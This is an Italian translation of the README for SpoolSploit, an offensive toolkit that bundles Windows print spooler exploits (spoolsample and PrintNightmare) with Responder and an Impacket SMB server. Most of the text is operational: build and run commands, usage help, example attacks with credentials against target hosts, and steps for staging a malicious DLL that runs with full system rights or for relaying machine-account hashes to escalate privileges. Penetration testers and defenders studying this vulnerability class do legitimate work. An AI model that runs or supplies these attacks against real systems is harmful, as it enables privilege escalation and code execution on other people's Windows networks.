
Una raccolta di exploit dello spooler di stampa di Windows containerizzati insieme ad altre utilità per lo sfruttamento pratico.
Una raccolta di exploit per lo spooler di stampa di Windows containerizzati con altre utility per uno sfruttamento pratico.
SpoolSploit è una raccolta di exploit per lo spooler di stampa di Windows containerizzati con altre utility per uno sfruttamento pratico. Un paio di metodi estremamente efficaci sono il relay delle credenziali dell'account macchina per escalare i privilegi e l'esecuzione di DLL dannose sugli endpoint con accesso completo al sistema.

Alla data del rilascio, il container Docker SpoolSploit è stato testato con successo sulle ultime versioni di MacOS, Ubuntu Linux e Windows 10.
Sebbene non sia richiesto, se desideri ospitare DLL dannose o condurre attacchi di relay delle credenziali, tutto all'interno del container SpoolSploit, dovresti assicurarti che la porta 445 non sia in uso sull'host che esegue Docker. Questo è più comune quando si esegue questo container su un host Windows, poiché utilizza la porta 445 per impostazione predefinita. Se disabilitare la porta 445 sul tuo host non è pratico, va bene! Puoi semplicemente eseguire il container Docker in una macchina virtuale con la scheda di rete configurata in modalità bridge. Ciò consentirà di servire DLL dannose e fare relay delle credenziali. Se desideri solo servire DLL dannose, potresti semplicemente ospitare le DLL su una condivisione ad accesso anonimo sul tuo sistema operativo host o su una condivisione di un server compromesso.
git clone https://github.com/BeetleChunks/SpoolSploit
cd SpoolSploit
sudo docker build -t spoolsploit .
sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest
sudo docker exec -it spoolsploit /bin/bash
usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD
optional arguments:
-h, --help show this help message and exit
-a {spoolsample,nightmare}, --attack {spoolsample,nightmare}
Attack type to execute on target(s).
-rH RHOST, --rhost RHOST
Remote target IP, CIDR range, or filename (file:<path>)
-rP {139,445}, --rport {139,445}
Remote SMB server port.
-lH LHOST, --lhost LHOST
Listening hostname or IP
-lS LSHARE, --lshare LSHARE
Staging SMB share (UNC)
-d DOMAIN, --domain DOMAIN
Domain for authentication
-u USER, --username USER
Username for authentication
-p PASSWD, --password PASSWD
Password for authentication
Example - spoolsample:
python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
Example - nightmare:
python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
Il container Docker SpoolSploit include Responder per il relay degli hash dell'account macchina ottenuti dall'esecuzione dell'attacco spoolsample in SpoolSploit. Poiché esistono diversi ottimi articoli che descrivono il processo di relay delle credenziali privilegiate dell'account macchina per l'escalation dei privilegi, non entrerò in questi dettagli qui.
Nel container SpoolSploit è incluso un server SMB implementato tramite Impacket. Questo server può essere utilizzato per ospitare DLL dannose durante l'esecuzione dell'attacco printnightmare in SpoolSploit. Le impostazioni predefinite del server SMB funzionano, ma se desideri personalizzarle, puoi modificare il file di configurazione situato in /home/dlogmas/smbserver/smb-v1.conf.
L'unica cosa che devi fare è copiare la tua DLL nella cartella di condivisione del server SMB all'interno del container SpoolSploit. Il percorso della condivisione nel container è /home/dlogmas/smbserver/share/. I seguenti comandi mostrano come caricare una DLL nel container SpoolSploit e renderla accessibile al server SMB.
sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/
sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'
Questo codice proof-of-concept è stato creato per scopi di ricerca accademica e non è inteso per essere utilizzato su sistemi se non dove espressamente autorizzato. Il codice viene fornito così com'è senza garanzie o promesse sulla sua esecuzione. Non sono responsabile per un uso improprio di questo codice.